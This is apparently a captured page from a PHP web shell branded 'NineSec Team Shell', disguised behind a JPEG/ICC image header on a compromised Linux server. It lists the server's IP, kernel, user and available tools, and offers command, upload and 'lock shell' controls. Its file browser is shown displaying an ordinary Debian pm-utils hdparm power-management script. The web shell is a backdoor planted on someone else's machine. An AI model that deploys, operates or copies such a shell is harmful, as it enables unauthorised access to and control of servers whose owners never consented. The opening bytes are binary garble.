�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux bob 5.15.85-1-pve #1 SMP PVE 5.15.85-1 (2023-02-01T00:00Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /srv/../opt/bitninja-python-dojo/../../usr/lib/pm-utils/power.d/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //srv/../opt/bitninja-python-dojo/../../usr/lib/pm-utils/power.d/95hdparm-apm
#! /bin/sh
#
# This script adjusts hard drive APM settings using hdparm. The hardware
# defaults (usually hdparm -B 127) cause excessive head load/unload cycles
# on many modern hard drives. We therefore set hdparm -B 254 while on AC
# power. On battery we set hdparm -B 128; this still does not guarantee
# disk parking, but is safer than causing lots of mechanical wear on disks
# as we seem to get currently with 127.
#
# Refactored from acpi-support's 90-hdparm.sh for pm-utils

if grep -wq "nohdparm" /proc/cmdline ; then
    exit 0
fi

# Do nothing when called via /etc/init.d/acpi-support; udev rules take care
# of setting the initial hdparm policy for us.
if ([ "$previous" ] && [ "$runlevel" ]) || [ "$runlevel" = S ]; then
    exit 0
fi

if [ -e /usr/sbin/laptop_mode ] ; then
    LMT_CONTROL_HD_POWERMGMT=$(. /etc/laptop-mode/laptop-mode.conf && echo "$CONTROL_HD_POWERMGMT")
    if [ "$LMT_CONTROL_HD_POWERMGMT" != 0 ] \
       && [ -e /var/run/laptop-mode-tools/enabled ]
    then
        # Laptop mode controls hdparm -B settings, we don't.
        exit 0
    fi
fi

. /lib/hdparm/hdparm-functions

resume_hdparm_apm()
{
    for dev in /dev/sd? /dev/hd? ; do
        apm_opt=
        if [ -b $dev ] && hdparm_try_apm $dev ; then
            for option in $(hdparm_options $dev); do
                case $option in
                    -B*)
                        apm_opt=$option
                        ;;
                    *)
                        ;;
                esac
            done
            if [ -n "$apm_opt" ]; then
                hdparm $apm_opt $dev
            fi
        fi
    done
}

resume_hdparm_spindown()
{
    for dev in /dev/sd? /dev/hd? ; do
        # Check for force_spindown_time option
        # If defined apply hdaprm -S even if APM is not supported
        # See also #758988
        ignore_apm=
        options=$(hdparm_options $dev)
        case $options in
            (*'force_spindown_time'*)
                ignore_apm='true'
                ;;
        esac
        apm_opt=
        if [ -b $dev ]; then
            if hdparm_try_apm $dev || [ "$ignore_apm" = true ] ; then
                for option in $(hdparm_options $dev); do
                    # Convert manually introduced option "force_spindown_time"
                    # back to "-S" understandable by hdparm
                    option=$(echo $option| sed 's/force_spindown_time/-S/')
                    case $option in
                        -S*)
                            apm_opt=$option
                            ;;
                        *)
                            ;;
                    esac
                done
                if [ -n "$apm_opt" ]; then
                    hdparm $apm_opt $dev
                fi
            fi
        fi
    done
}

case "$1" in
    true|false) # powersaving on/off
        resume_hdparm_apm
        ;;
    thaw|resume)
        resume_hdparm_apm
        # only set the -S option on resuming, not necessary for power.d
        resume_hdparm_spindown
        ;;
    *)
        exit 254
        ;;
esac

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
April 25 2020 3:53:36
root
0755
95hdparm-apm
3.001 KB
August 21 2019 2:36:14
root
0755

NineSec Team - 2022